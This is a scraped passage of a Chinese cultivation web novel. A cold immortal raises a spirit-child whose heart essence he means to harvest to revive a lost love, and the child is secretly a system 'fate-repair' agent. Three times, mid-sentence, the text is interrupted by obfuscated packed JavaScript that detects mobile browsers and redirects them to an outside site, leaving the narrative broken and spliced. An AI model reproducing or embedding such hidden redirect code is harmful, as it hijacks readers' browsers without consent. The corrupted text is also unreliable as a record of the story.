《职业BE大师》 3. 第 3 章 成衣店里没有这么小的小孩穿的衣服,老板现场裁剪修改了一番,谢久白买了两身,一身给喻连当场换上,另一身塞进了背篓里。 喻连稀罕得不行,一路上遵循此时刚开智的智障人设吱哇乱叫,把谢久白斗笠下的头发揪的乱糟糟。 他扯谢久白头发的时候对方面色淡然平静,喻连以为他脾气挺好,结果没多久他就中了定身术。 直到采购完毕,腾挪瞬转回了沧山荒原边的竹屋小院,他身上的定身术才解除。 喻连晃了两下把背篓晃倒,然后从里面爬出来。 谢久白将购买的灵米放在厨房,新买的被褥放在一楼东南角的房间,还有小孩的鞋子袜子等一些列老板推荐的生活用品,他没挑,看合适的直接买了。转身一低头,看见在地上爬的喻连,“……” 谢久白蹲下来,“站起来走。” 喻连身上新买的衣服,在地上爬了一圈变得脏兮兮,闻言歪头,在地上爬了三年,你说站就站? 他绕着谢久白爬了三圈,越爬越快。 谢久白施了个清尘术,两指曲起勾住他的衣领子:“脚着地,走。” 喻连软得跟面条一样,脑袋从领口里缓慢滑下,滑到一半卡住了,两只黑黢黢的眼睛缩在衣服里看他。 谢久白:“……” 他慢慢地把喻连放回了地上,看着小孩跟蟑螂一样欢快地爬走。 第二天,谢久白出门,回来的时候,小院里多了一辆学步车。 - 沧山荒原的夜空繁星闪烁。 一缕炊烟从竹屋小院厨房袅袅升起,院里挂了亮堂堂的灯笼。 喻连站在学步车里往厨房里面看,过了会,他拍了拍门框,慢吞吞说:“饿。” 谢久白袖子挽着在做饭,木勺搅动着锅里的米粥,淡声嗯了下:“快好了。” 灶台里火光明灭,喻连托着下巴盯着谢久白的脸瞧。 体内长出五脏六腑后的这半个月来,谢久白对他态度的变化可谓天翻地覆,说得话比过去三年都多,还教他跟人一样说话,跟人似的用勺子吃饭。 喻连一天三顿吃灵米粥,时不时还能吃到灵果和肉糜,好像那天掏不出灵石的人是他的错觉。 但他能从谢久白身上闻到血腥气,应该是在别处猎了妖兽,拿去集市上卖了才换来的食材。 也是,仙宗之首,就算之前储物袋的灵石花完了,本事还在呢。 谢久白端着粥和小菜出来,放在院中石桌:“过来吃饭。” 喻连呲溜一下滑过来,学步车稳稳停好,把碍他吃饭的枯乱头发往后抓了抓,握着勺子开始吃饭,舀了第一勺,巴巴举高,“吃饭。” 乌溜溜的眼睛里只映着他的影子,谢久白摇头:“你吃。” “啾——!” 一道碧绿的光影掠天而来,喻连抬起头,只见一只翠鸟衔着一个小盒子,飞过来落在了石桌上。 确定盒子送到之后,翠鸟化作绿色的荧光散开。 喻连伸手抓了一下荧光,光芒在他掌心熄灭。 谢久白打开小盒子,里面是一枚圆融的暗紫色丹药,药香扑鼻。他摩挲小木盒边缘片刻,往传音玉佩中注入灵力,“扶阳。” 传音玉佩亮起:“丹药收到了吧?” 是那天建议任务目标杀了他的人,原来叫扶阳。 喻连低下头,玩着自己的小木勺。 扶阳药尊:“那婴灵确实变成了幼灵,他的本体是万年难得一见的赤火红莲,伴生之火天生便可镇煞除邪,培育成的宝丹则被古籍命名为赤阳丹心,传闻中更是有起死回生的功效。” “你告诉我他长出了五脏六腑,从你提供的信息看,他封闭的心窍十分奇特——里面蕴藏的应该是赤阳丹心的精华,比赤阳丹心还要精纯。” 谢久白:“对他有用么?” 扶阳药尊明白‘他’是谁:“自然,只差这一味药了。” 谢久白:“如何取。” 扶阳药尊:“取不了。天生地养的生灵受天道保护,他心窍外是一层天然禁制,守护心窍中的精华,精华会让他长出五脏六腑、经络内府,也会随着他的长大逐渐融入体内,滋养他的身体。若是打破禁制强取,精华只会流逝。” 不知想到什么,他又自顾自道:“哦。以你的实力手段,或许有办法强取之后保证精华不会流失,但那样,药效会不会减弱我无法确定,所以我给你送了这枚丹药。” “这丹药服下,不消两年,整个心窍连同精华便会一起凝实化种,只有趁精华即将凝实的那一刻强取而出,精华才不会被溃散于天地,怎么样?” 谢久白望向对面无知无觉,欢快和米粥搏斗的小孩:“那他呢?” “自然是死了,”扶阳药尊嗤笑:“既要又要,道德和私心想兼得,哪有那么便宜的事。你且安心,如今世间没有轮回转世,这孩子亦无亲友,便是死了,你也沾不上因果。” 谢久白神色没有丝毫不虞,平淡道:“你有第二种办法。你很善良。” 几秒的安静后,传音玉佩那边的烟嗓爆发了极其难听的、仿若穷尽此生脏话的尖叫和辱骂,谢久白喝完了一杯茶,扶阳仙尊才堪堪停了下来,只有骂累了的喘气声。 谢久白:“说吧。” 扶阳药尊憋气道:“……古籍记载,轮回破灭前,轮回岸有一株草被仙人点化,由婴灵化人,生出灵智,心蕴金珠,禁制天生,万邪莫近。” 他长长吐出一口气,平复了点,“后来这株草动了心,心窍禁制便对她心悦之人失了效用。她爱人知晓后,剜走了她的心窍,失去心窍后她情况如何没有清晰记载,但确实还活着,只是不知所踪,传言她距离飞升只有一步之遥,却败在了情劫面前。” “第一种办法,强取的时间只在凝而未实的一刹那,一旦错过,凝实的精华就会在他心窍彻底扎根,再也强取不得。” “第二种办法不确定性实在太多,距离九州青云宴还有十六年,十六年里,只要这孩子没遇见心动之人,你只有失败一个结局。谢久白,你时间不多了,如何选择,全看你自己。” 语罢切断了传音,玉佩的光芒盈盈暗淡,只有石桌上的小竹灯笼散发着幽幽的光,照亮了锦盒中的丹药。 他们说完,喻连也听完了,细细梳理了一番他听到的所有信息。 他下巴被人捏起来,喻连抬头,望入一双银灰色的、漠然冷淡的眼睛。 紧接着,紫色丹药弹进了他嘴里,一股药香在他口中化开,流过喉管,留下一丝淡淡的甜味儿。 喻连眨了下眼睛,搞明白了自己现如今的‘地位’。 哦。 他被谢久白捡回来,原是给人家当药的,只是出了点岔子,让谢久白不得不联系那位扶阳药尊,寻别的法子。 现在法子来了,一共两个,一个是约莫两年就杀了他。另一个他就还能再顺顺当当活个十来年。 丹药入腹, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057483|194890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因果已结。 谢久白的面板第一次发生变化: 【姓名:谢久白 介绍:仙宗首尊,本该镇守仙门,但三百年前心悦之人死去,他踏遍万里仙域,寻觅天下奇珍,只为复活心悦之人。 任务目标:成为谢久白真正的情劫,查*&%)*&真相,并****%¥# 命运修复值:-52%】 命运修复值修复了1%。 喻连终于摸清了些基本情况,不由得开心地对谢久白咧嘴一笑,“喜……欢?” 这是谢久白这几日教他的话‘喜欢吃饭、走路、小花、小草、衣服脏、不许爬’…… 喜欢?喜欢什么。 谢久白嗅了下自己指尖,除了药香味儿外,还有一丝甘润的余韵,想了下,问:“丹药是甜的,喜欢吃甜么。” 小孩眼睛亮晶晶的,不懂他在问什么,只盯着眼前人,重复说:“喜欢!” 谢久白见他饭吃完了,弯腰将他从学步车里抱出来,朝屋内走去:“该睡觉了。明天带你出去,买松子糖。” 喻连趴在他怀里。 相处许久,便是养只猫狗都有了感情,更别说半月来越发认真的照顾。但方才谢久白喂他吞丹的模样,可真是看不出一丝犹豫,也瞧不出半点温情。 谢久白问了扶阳仙尊第二种解决办法,可他究竟会怎么选,谁也不知道。 喻连只喜欢在有兜底的情况下去赌,他现在首要任务是获得在这个世界的名字,等任务者专属面板开启后,他就能摆脱被动局面。 - 在竹屋小院待的第五年,喻连摆脱了学步车,乳牙艰难冒头。 夕阳西下,他扎着三个冲天羊角辫,拖着小凳子,打开篱笆门,跟小老头一样坐在门前,嗑院里晒干的南瓜子。 一望无际的枯草荒原,灿金色的落日余晖,一抹背着弓箭、提着背篓的身影越来越近。 小孩眼睛一亮,风火轮一样跑起来撞到来人身上,抱住大腿,仰头,响亮清脆地道:“你打猎回来辛苦了!爹!” 之所以叫爹,是因他们时不时需要去小城买灵米灵肉,不少摊子的老板都眼熟了他们,聊天时便说‘孩儿他爹,给孩子买点这个,新鲜’‘小相公自己带孩子不容易吧,瞧这孩子给养的,比我家灵缇犬还干巴’‘呦,小孩,你叫什么名字啊?’ 他当然不知道自己叫什么,便很聪明地说:“我叫‘过来’,我爹总叫我‘过来’。”众人大笑,从此小城的人都知道,小城边境外住着一对猎户父子,当爹的年纪轻轻一头白发,能猎妖兽,是个颇有能力的小白脸,当儿子的古灵精怪,头发枯黄小脸干瘦,名字叫‘过来’。 ‘爹’是近来才叫的,之前小孩也叫他‘过来’。 谢久白没反驳,所以爹也越叫越顺口了。 他摸了摸喻连的头,低声说:“今晚猎了兔子,吃烤的还是吃炖的?” 喻连:“烤的!” 该说不说,谢久白的厨艺真不错。 他张开手掌心,掌心里汗涔涔的浸着几颗剥好的南瓜子:“爹,你吃。” 谢久白:“我不吃,你吃吧。” “好吧,”喻连一口闷下后拍拍手,朝着谢久白张开双臂,“抱我走。” 谢久白抱起他,说了句:“重了些。” 一大一小远远看去当真‘父慈子孝’,温馨非常,可两人都清楚,那扶阳药尊所说,心窍精华凝实之际,即将到来。 4.第 4 章 夏日的夜晚难免燥热。 二楼竹屋的窗户支开,月光洒到竹床上。 藤编的席子凉意涔涔,喻连身上搭着缝了补丁的小薄毯,半个身子趴在谢久白胸膛,百无聊赖:“爹爹,我睡不着。” 谢久白阖着眼:“想听故事?” 喻连:“又开始不舒服了。” 谢久白睁开眼:“我看看。” 喻连摸摸自己心口:“还是这里。” 谢久白坐起来,指尖拨开小孩的单衣,只见那心口处散发着赤金色的浅光,皮肤周围隐有血色皲裂闪现,这是精华凝聚的表现,已经持续好几日了。 自然是痛的,他取来药膏,涂抹在皲裂处,估算了下时间:“约莫再过一两日便好了。” “哦,”喻连肚子咕咕作响,舔舔嘴巴,“又饿了。” 心窍精华的凝聚需要力量,原本滋养他身体的精华开始反过来抽取身体的营养,这导致他饭量越来越大,到如今已经大得不正常。 谢久白出去打猎的频次就算翻倍,也只能勉强供上他的需求。 好在家里有聚灵阵,种的凡种南瓜长得飞快,南瓜肉对喻连没多少滋补,但南瓜子倒是有丁点灵气,院子里晒了不少,给他当零嘴。 其实此州荒芜,除去荒原,往北千里的妖兽灵草都被谢久白寻了一遍,全都换成灵乳灵材进了喻连的肚子,再往北,便是尉迟皇族地界。 谢久白拿了米饼给他啃,一连啃了三个,小孩才停下。 他重新钻进谢久白怀里,小薄毯分给了他一截,困意上来了还依恋的黏着人,含含糊糊问:“……爹爹……我不想叫过来。” “我想重新有个名字,小城街上的人叫我‘过来’的时候,好几条小狗都会过去,它们也叫‘过来’。” 谢久白没有回答他的絮絮念,轻拍着他,轻声说:“睡吧,第二天要去街上,你衣服小了,要买新的。” 小孩便不说话了,脑袋贴紧他的胳膊,混混睡去。 谢久白撩开小孩汗湿的软发,掌心贴在他脉门处给他输送灵力。 心窍精华凝聚需要大量灵力,这一月来更是消耗,灵食灵材只是杯水车薪,若非他夜夜输送灵力供精华凝聚,这小孩的身体怕早就废了。 说起来,这具身体着实是个千年难遇的修仙苗子。 天生火灵根,且远超谢久白见过的极品火灵根,若踏入仙途,前途必然不可限量。 “可惜……” 两年时光,他还是没有说服自己去赌那充斥着不确定性的第二种办法。 他冰凉的指尖点在小孩心窍之处,指腹之下,炽热的禁制隐隐波动,似乎是察觉了谢久白身上那股杀意,禁制猛然震动,紧接着,一股磅礴的威压卷天而来! 轰隆——!! 狂风呼啸,漆黑的夜空劫云四起! 恐怖的劫云中央闪烁着黑红的雷光,透露出警告的意味。 谢久白眯起眼,果然是受到天道庇佑的天材地宝,异化生出灵智之后,心窍处的天然禁制竟可引来雷劫。 如果喻连听到他心声,定会吐槽,他是来这世界修复bug的,中央来的公务员懂不懂?规则逻辑之内,天道肯定会护着他。 谢久白收回手,但天空劫云依旧未退。 主动杀一个无辜的孩子对他来讲是废了道心,此生无飞升可能,但要是能达成目的,就算身死赔命,也无不可为。 床上小孩似乎被闷雷声吵到了,蜷缩成了一团,嘴巴不满的嘟囔。 见他要醒了,谢久白轻轻将他抱进怀中,“吵到你了是不是?” 他背着对支开的窗户,挡住吹入室内的风,同时一股无形的灵力水波一样震开。 从窗户灌入的狂风骤然停止,撑窗棍滚落下去,窗户啪嗒一声合上。 合上的瞬间,屋内安静死寂。 谢久白屈指一弹,熄灭的烛火重新亮起,银灰发丝垂落几缕挡住侧脸,明灭火光下显得晦暗,他拍了拍不太安稳的小孩,温声念道: “月光光,照地堂,虾仔跳,禾苗长。” “萤火虫,当灯笼,挂床头,阿娘摇扇唱童谣,篱笆下,蝈蝈悄声叫……” 以竹屋小院为中心,方圆百里万灵寂然。 苍穹之上,那由杀意引发的劫云依旧未曾散去。 - 次日。 喻连喝了七大碗粥,出门的时候裹紧身上的小薄袄。 天空阴沉沉的,闷雷作响。 “爹,昨天还很热呢,今天就这么冷。” 谢久白:“是比较冷。收拾好了吗?” 喻连背好自己的超小号背篓,牵住谢久白的手指:“好了!” 因天气异常,小城今日摆摊的人很少。 大风卷来不知何处的青草枯叶,踩过地面的风浪,枯叶作响,小城显得萧条起来。 进了城门,喻连眼睛便黏在了门口算命先生的摊上。他知道这个算命先生兼职取名。 他扯着谢久白,停在算命摊前不走了:“爹爹,我想取个名字。” 算命先生摸着胡子笑道:“呦,是‘过来’呀。你不是有名字吗?” 谢久白朝他颔首,轻声说:“走了。剩的银子不多,我要给你买衣服。” 小孩却格外固执起来:“我想取个名字!” 谢久白朝着成衣铺走,“跟上。” “爹爹……”小孩低下头,一句轻喃飘进谢久白耳中,“我知道你想杀了我。” 戴着斗笠的青年背影停住了。 “轰隆——!” 涌动的雷光掠过云层,一瞬照亮了灰暗的小城。 谢久白慢慢转过身,望向小孩含泪的眼睛。 “你知道?什么时候。” “我有爹爹捡到我后的大半记忆,你说的话我也记得,原不懂那是什么意思,后来渐渐懂了,”喻连模仿了两年前扶阳药尊说的那两种办法,丁点不差,甚至还模仿了老头的语气。 说罢,小孩垂头丧气,低落道,“我只是你养的药,到了时间,就该死了。” 他摸着心口:“这几天,感觉时间要到了。” 谢久白:“天材地宝,果真不同寻常。” 他闪身至喻连身前,“既然知道,为何不跑。” 小孩摇头。 谢久白:“你不恨我?” 似乎不知道恨是何意,小孩脸上浮现茫然,但很快,他抱住了谢久白的腿——长这么久,他其实没有长高多少。 “喜欢你。爹爹,给我取个名字,好吗?‘过来’好难听……” 谢久白:“你说这些只是想要个名字?” 小孩点点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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谢久白问他,“还用换吗?” 喻连摇摇头。 世界意识影响了算命先生,让他写了这两个字,喻连喜欢用自己的本名做任务,对他来说这样更有代入感。 “就叫这个。” 谢久白:“好。” 【叮!命运司-工号SQSJ-0972-喻连,在此世获得姓名,重要剧情人物已承认此名,检测登录成功,专属面板正在激活……】 【激活成功!】 【姓名:喻连 本体:赤火红莲 介绍:赤火红莲所化,心窍蕴养着赤阳丹心,有回魂复生之效[详情点开] 心窍:凝实中,禁制封闭(状态待更新) 特殊绑定道具:复生花(1/1) 道具介绍:任务者陷入死局之时可用,宿主身死后可选择是否启用复生花,换个身份继续任务,仅宿主可用。 (PS:深受火葬场死遁、修罗场死遁、事了拂衣去死遁类任务者的喜爱。)】 喻连微松了口气。 高危世界里兜底的复生花来了,就算谢久白真的杀了他,他也不必担心任务会立马失败。 有了兜底的,他才愿意去赌一赌人性。 谢久白牵起他的手:“走了。” 5.第 5 章 谢久白照常带着喻连买了新衣服、换了灵米灵果,一路上喻连见着人便告诉说“我叫喻连”“爹爹请算命先生算的新名字”“我不叫过来!小狗才叫过来”“真好听呀真好听呀,爹你多叫叫我”蹦蹦跳跳喋喋不休。 回了家也不安分,吃了饭之后从厨房拿了菜刀出来,找了块石头咔咔磨刀,边磨边低吼:“一下就砍我两半!一下就砍我两半!” 谢久白:“……” 小孩磨完跑到二楼,噔噔噔拖着藤席下来,拽着席子的一角把自己卷来卷去,卷完又去磨刀,“一下就砍我两半!一下就砍我两半!”忙得满头大汗。 谢久白:“你在做什么。” 喻连:“我得把刀磨得比张屠户的还要锋利,张屠户说了,越锋利的刀割起肉来越快,这样爹爹能方便些。” 谢久白看了看席子:“这个呢?” 小孩只是记性好,记得谢久白说过的所有话,但不知道叫谢久白的仙宗首尊是多尊贵的身份,这方小院和那座常去的小城便是他的所有认知,有钱人穿锦衣,没钱的穿麻衣,他跟爹爹的衣服都是麻衣。 谢久白给他买的新衣他也不打算穿了,他想带进自己的小坟包里,死了之后正好穿新衣服,算是爹爹给他的新死礼物。 “我们家实在是太穷了,应该买不来棺材,爹爹,你回头就把我卷在席子里。” 他真的认真打算过:“不知道我身体其他地方有没有药效,爹,你拿了你需要的东西后,还可以把我放背篓里,卖掉攒点钱。你还可以把我分给大虎家一点,算命爷爷一点,张屠户家一点……让他们也卖点钱。” 谢久白觉得荒诞。 一个孩子在他面前高兴地说着他如何如何死,死后又如何如何。如果少年时,他早就提剑杀了罪魁祸首,但如今除了那股淡淡的荒诞感,他却没了旁的感受。 修道几百年,只余了一缕鬼火般的幽幽执念,连怜悯都烧没了。 小孩越说声音越低,断断续续起来,他抓了抓心口的衣服,大口大口呼吸,手中菜刀当啷一声摔在地上,他人也朝着地面栽倒。 谢久白抬手一招,喻连飞入他臂弯,他心口赤金之色浓郁闪烁,已经到了凝聚的最后阶段。 “轰隆!” “轰隆——!” 谢久白袖中的手指蜷起,眼睫低垂。 大概是疼极了,小孩蜷缩着浑身发抖,面白如纸,脑袋跟小狗一样,一个劲的往他怀里钻,偏心口露着,似乎是为了方便自己的‘爹爹’杀了自己。 几秒后,谢久白掌心贴了上去,五指的灵力触动禁制的那一刻,劫云瞬间汇聚头顶,“……那藤席你用不上,你也没办法把自己分给你认识的那些人。我杀了你后,你只会灰飞烟灭,世间再寻不得你半点踪迹。” 他话音落,禁制引发的黑红劫雷当空劈下! 小孩睁开了眼,满眼的怒火,却不是冲着谢久白,而是朝着劈下的劫雷嘶哑着大吼:“滚……开…滚开!” 赤金色的火焰从他经脉里爆发而出,纯正炽热的光芒驱散了周围黑暗,化作烈烈红莲,死死挡在了谢久白头顶,花瓣层层绽开,阻拦劫雷劈下。 这是赤火红莲的伴生之火,它感受到了主人的强烈意志,破体而出,来保护主人的‘爹爹’。 谢久白动作停住。 怀里小孩冷汗涔涔,爆发之后,意识已彻底模糊不清,嘴里喃喃:“我保护爹爹。走开。喜欢。小草、小花。甜。爹爹吃。过来。过来。说话、说话、说话……” 灵力在指尖消弭。 谢久白并指,将伴生之火引入喻连体内。 他擦去小孩额头冷汗,静默良久。 心窍精华越发凝聚,马上就要到强取的最佳时机,否则等到彻底凝实,落入心窍生根,便再也无法强取,只能等心窍因情动而开。 现在杀,还是去赌十几年后的一个可能? 谢久白屈指掐诀,彭拜汹涌的灵力卷天而起,凝结成巨大无匹的繁杂法阵,那法阵蔓延方圆千里,冲天而起,生生将头顶的劫雷一寸寸逼回了劫云之中! 而他抱起孩子抬脚离去,呼吸间踏空而去,朝着沧山万里荒原的中央疾行。 “若三百年前那道残存剑影不出现,我杀你,出现,天活你。” 如此浩瀚的灵力波动,刹那间便如风席卷蔓延。 就在百里之外。 一个身着仙宗弟子服的年轻人突然惊叫起来,她死死盯着手指上变得通红的感应戒指,立马拿出传音玉佩,吼道:“找到咱家仙尊了!!!快通知兰宗主!!快!!!” 一传二二传三,九州各处,许许多多身穿仙宗弟子服的人不约而同抬起头,鼻头酸酸,热泪盈眶。 自打三百年前谢久白谢仙尊离开仙宗之后,整个仙宗上下就再也没谁见过他的影子,甚至有传言说谢仙尊早就死了,其他势力门下弟子过来约架的时候,更是言语嚣张。 每每把仙宗弟子气个仰倒,主动领了寻找仙尊的任务,一边历练一边找人。 转眼就是三百年,找人的弟子越来越多,宗主兰泊风也越来越暴躁。 “报——!找到谢仙尊的行踪了!在沧山方向!!” 一道道流光涌入巍峨肃穆,鸟语花香的仙宗,仙宗眨眼便沸腾起来,片刻功夫,伴随着一声优雅的长骂,蓝色的剑光冲天而起,杀气腾腾:“把去沧山的传送阵给老子打开!带着核心弟子内门弟子,全都去给我逮人!” 简直岂有此理!谢久白走的时候只有储物袋里有点灵石,他断了他所有的灵石供给,各大州的商道都有仙宗眼线,只要他来兑灵石,他就能发现这厮踪迹。 后来久等不到,他又研制了谢久白灵力感应器,只要他的灵力波动大到一定程度,就会被捕捉定位。 如此找人,没成想这狗东西竟然硬挺了三百年! 兰泊风咬牙切齿:“给本宗主把他抓回来镇守山门,处理宗务!” “是!宗主!” - 沧山荒原中央。 喻连看似昏了过去,实则用辅助系统观察着周围。 四野焦黑一片,残留的肃杀战意之意充斥天地之间。 残缺的刀枪剑戟断刃朝天,这里绝对是一处曾经极其惨烈的战场。而战场中间,有一道深深嵌入地底深渊的剑痕。 战事不知过去了多久,但那道惊天剑痕仍旧透露着冲天杀伐的气息。 除了缭绕的战意之外,还有股挥之不去的邪气,淡淡的黑雾随风游走,困在这处战场中,发出凄厉的尖叫。 这里有种特殊磁场,谢久白一踏入这里,战场倏然发生了变化,像是时间倒转,无数杀喊之声响彻天地,穿着各派弟子服饰的修仙者、无名无姓的散修朝着战场中的他们冲杀而来:“杀了它!” “冥主被制住了!快!!” “啊啊啊啊——!!!杀了我!好痛!!” “我回不去了……” 凄嚎、痛呼、战意、热血、烈火、眼泪。 宗服、道袍、僧衣、布衫、战甲……成千上万的修士如蜂云漫天,在撞上喻连和谢久白的刹那,穿过了他们的身体。 这是曾经的战场虚影! 喻连凝神看去,只见这些修士犹如飞蛾扑火,涌向了战场最中央的紫黑色巨茧。 一道身影自东而来,来者浅色窄袖劲装,墨发狂舞,他垂眸凝重望向紫黑色巨茧,抬手翻转,灵力巨掌从天而落:“镇!” 是头发还黑着的谢久白! 巨掌落下之际,青色剑芒须臾而至,那道璀璨的剑光垂天而来,直直刺入巨茧!只听一声震耳欲聋的轰响,大地震颤,紫色巨茧发出愤怒的吼叫,渐渐沉入了地下…… 周围虚影一瞬定住,渐渐化作流沙,被风吹散了。 幻影消失,战场呜咽的风却越加喧嚣。 喻连从战场幻影中回过神来,但那道青色剑芒带给他的震撼依旧残存在了心里——好纯粹、好锋利的剑意。 他工作过的仙侠世界不少,这样纯粹锋利的剑意,能排在前三。 这就是谢久白所说的剑影? 这么顺利便碰见了吗? 他不用动用复生花了? 一连串的疑问浮起,喻连仍旧谨慎,没有睁眼。 因为他心窍凝结阶段还没真正过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068449|194890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,天上的劫云也并没有消失,而且还更响了,这说明谢久白仍旧对他心存杀意。 苍穹之上是轰隆不停、恐怖游走的雷劫,苍穹之下是满目疮痍、阴森诡谲的战场。 一头银灰长发,穿着粗布素衣的男人抱着小孩站在中间,雷光与黑雾皆无法近身,他掌心无意识轻拍着皱眉的孩子,像是陷入了某种久远追忆。 时间慢慢过去,喻连心□□发炫目的赤金光芒,光芒亮到极致后又渐渐回缩。 谢久白依旧无动于衷。 恰在这时,天边划过一道道流光,数百修士通过传送阵踏剑而来,将战场中央围得严严实实。 为首的人一身蓝衣,踩着算盘,算珠骨碌碌在他脚下滚动,兰泊风凝视被团团围住的男人,忽而抿唇,抬手一摆。 身后数百宗内弟子拱手道:“拜见仙尊!恭迎仙尊回宗!” “拜见仙尊!恭迎仙尊回宗!” “拜见仙尊!恭迎仙尊回宗!” 灵力加持的声音回荡在这片战场上,谢久白依旧没反应。 兰泊风望着他寂然的神色,袖中拳头越攥越紧,他着急把谢久白找回来,还有一个原因。 那人死后,谢久白状态实在太不对劲,一个不慎执念成魔,便是九州灾祸。 他真怕谢久白为了复活那个人,用尽手段,最终连道心也毁了…… 兰泊风注意到了他怀里不知死活,却明显散发着异样气息的小孩,也注意到了天空恐怖的劫云,看着谢久白冷漠的神情,心里不由得咯噔一声。 那小孩心口光芒越加暗淡,彻底熄灭的那一刻,谢久白抬起了手。 兰泊风往前一步,厉声道:“谢久白!” 谢久白指尖点在了喻连眉心,别人没有看清,喻连却收到了辅助系统的通知: 【谢久白正在封印您的记忆,系统已屏蔽。】 “心窍已凝。从前的事你若记得,会对之后的事有碍,都忘了吧。” 低声说完,他抬头喊了一声:“师兄。” 兰泊风指尖已经捏了一道灵风藏在袖中:“这孩子?” “捡来的,我打算收他为我唯一的徒弟。”谢久白道。 兰泊风:“劫云?” 谢久白:“他体质特殊。” 兰泊风:“那你来这里作甚。” 谢久白:“来看看他留下的剑影。” 两人对视片刻,兰泊风见他气息平稳,道心无缺,并没有踏入邪道,做出灭绝人伦之事,眸中冷意散去,无声舒了口气。 兰泊风:“战场虚影三百年都未消散,你想看什么时候来都可以,非得抱个孩子来这里陪你看?” “还有,你这次怎么不跑了?!” 谢久白坦然说:“养徒弟比较费灵石。”当初储物袋里的灵石用来买灵乳,已经耗光了。 他抱着喻连踏空而起,走到兰泊风身边。 兰泊风探头一看:“几岁?两岁还是三岁?” 谢久白:“五岁。” “……”兰泊风忍了忍,没忍住,一把将孩子抢了过来,开口孝顺道:“怎么养的?还好我们师尊已经仙逝,不然她能一拳头打死你。” 抢过来看见了小孩衣服上还有补丁。 兰泊风:“你哪里捡来的衣服?” 竹屋小院生活简朴,乱跑乱爬的小孩衣服破得很快,新衣服买不及,谢久白学会了简单的缝补手段:“我缝的。” 兰泊风:“丑死了。” 师伯看孩子,越看越爱。 他探查了喻连的天赋,极品火灵根!于是更加欢喜了,对一众过来捉人的弟子们说:“还不快叫人?” 仙宗弟子面面相觑,辈分不同,称呼自然也不一样: “见过小师弟。” “见过小师叔!” 一通喊完,喻连恰到好处睁开了眼睛,眼里全是没有记忆的迷茫,兰泊风捏捏他的脸蛋,“醒啦?见面礼回宗给你。来!看看你师父。” 小孩茫然看向谢久白,声音稚嫩:“……师…父?” 谢久白也望向他。 许久。 “嗯。” 6.第 6 章 天下九州,修仙者众。 仙途求索,漫漫无尽,一转眼,便是十二年时光飞逝。 当今九州共有五大巨擘修仙势力,仙宗、浮屠佛门、尉迟皇族、碧云天、问苍剑冢。 浮屠佛门只有佛修,紧邻以国运修仙的尉迟皇族,碧云天汇聚全天下的顶尖药修,极北寒域是剑修圣地问苍剑冢。 仙宗独占了一个仙字,只因唯一一位飞升者出自仙宗。 仙宗各种修士都有,说是海纳百川,均衡发展,实则没有自己的特色招牌,唯一可说道的就是宗门内部风气自由轻松,只要走在正道上,便无人阻你,爱修什么修什么。 宗主兰泊风修的就是偏门的商道,可偏偏几乎每一代风头最盛的年轻小辈,都出在仙宗。 不提当世战力巅峰就在仙宗,就说此代仙宗的小辈,那更是了不得。 传言谢仙尊谢久白在外游历的时候,在沧山荒原捡到了个五岁孩童,一经探查,发现竟是极品火灵根,生具异火,顿时惊为天人,收做关门弟子,名叫喻连。 当年此子仅十六,不等三年后的九州台风云大比,就已经把自己宗内的师兄师姐师弟师妹打了一遍,揍得五体投地,那叫一个心服口服。 成了宗内同辈第一人还不满足,又去浮屠佛门挑战人家宝贝佛子,打碎了佛塔顶,想拐人家走出佛塔山,被恼怒的了悟大师怒骂‘不知羞耻’,一棍子打了出来。 到底如何不知羞耻,除了当事人无人知晓,一来二去传出不少风流绯闻。 事后仙宗宗主兰泊风出面赔礼道歉,赔了不少灵石,勒令喻连禁足一年,才算作罢。 如今一年已过,喻连的禁足也要解除了。 - 仙宗。 孤渺峰。 窄窄的石阶蜿蜒盘旋,薄薄的雾气缭绕在山腰,夜色清幽。 两名弟子提着灯笼拾阶而上,前头的师姐说:“我从杂役弟子升入外门,往后不在杂事堂了,今日带你走一遍,见见人,回头就由你来负责孤渺峰的物品运送和各项杂事,这里人少事少,很清闲。” 孤渺峰住着谢仙尊,没特殊情况,弟子是不许在这周围御剑的。 新入门的师弟打了个喷嚏:“是。师姐,这山脚有些冷。” 师姐道:“孤渺峰原是座雪山,比这冷多了。” 师弟环视周围生机勃勃的满目苍绿,“啊?” 师姐:“小师叔住在此峰,他是极品火灵根,据说体质也非常特殊,住的久了,雪山就变成了青山。” “原来是这样,”师弟继续请教,“那为何晚上来送宗门历练任务?有说法吗?” 师姐:“没有,只是今天我只有晚上有空。” 师弟:“噢。” 师姐:“小师叔为人随性活泼,很好相处,也没禁忌——哦,对了,只有一点,每月丹峰给的丸药定要及时送来。” 师弟想起那位小师叔打遍同辈无敌手的传闻:“小师叔打架会受伤?” 师姐:“谁知道呢。” 快走到半山腰,两人不约而同停止了低声交谈。 谢师祖独住在孤渺峰,弟子跟着师父住,小师叔自然也住在峰顶,不过这两年,小师叔则搬到了半山腰。 半山腰有一潭莲池,一座竹屋围着莲池,清雅古朴。 